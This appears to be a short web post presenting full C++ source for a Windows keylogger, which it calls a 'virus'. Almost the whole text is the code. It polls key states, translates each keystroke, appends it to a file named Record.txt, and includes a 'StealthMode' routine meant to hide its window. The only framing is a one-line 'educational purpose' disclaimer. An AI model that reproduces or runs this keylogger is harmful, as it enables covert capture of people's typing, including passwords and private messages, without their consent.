Windows Keylogger Virus In C++
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;
void StealthMode();
void StartLogging();
int main(){
StealthMode();
StartLogging();
return 0;
}
void StartLogging(){
char c;
while(1){
for(c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767){
printf("%d",c);
ofstream write("Record.txt", ios::app);
if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
{
c+=32;
write<<c;
write.close();
break;
}
else if((c>64)&&(c<91))
{
write<<c;
write.close();
break;
}
else {
switch (c)
{
case 48:
{
if(GetAsyncKeyState(0x10))
write<<")";
else
write<<"0";
}
break;
case 49:
{
if(GetAsyncKeyState(0x10))
write<<"!";
else
write<<"1";
}
break;
case 50:
{
if(GetAsyncKeyState(0x10))
write<<"@";
else
write<<"2";
}
break;
case 51:
{
if(GetAsyncKeyState(0x10))
write<<"#";
else
write<<"3";
}
break;
case 52:
{
if(GetAsyncKeyState(0x10))
write<<"$";
else
write<<"4";
}
break;
case 53:
{
if(GetAsyncKeyState(0x10))
write<<"%";
else
write<<"5";
}
break;
case 54:
{
if(GetAsyncKeyState(0x10))
write<<"^";
else
write<<"6";
}
break;
case 55:
{
if(GetAsyncKeyState(0x10))
write<<"&";
else
write<<"7";
}
break;
case 56:
{
if(GetAsyncKeyState(0x10))
write<<"*";
else
write<<"8";
}
break;
case 57:
{
if(GetAsyncKeyState(0x10))
write<<"(";
else
write<<"9";
}
break;
case VK_SPACE:
write<<" ";
break;
case VK_RETURN:
write<<"\n";
break;
case VK_TAB:
write<<" ";
break;
case VK_BACK:
write<<"<BACKSPACE>";
break;
case VK_DELETE:
write<<".";
break;
default:
write<<c;
}
}
}
}
}
}
void StealthMode(){
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,1);
}The virus is capable to read and store your every keystrokes. This is for educational purpose. Don’t try to misuse it.
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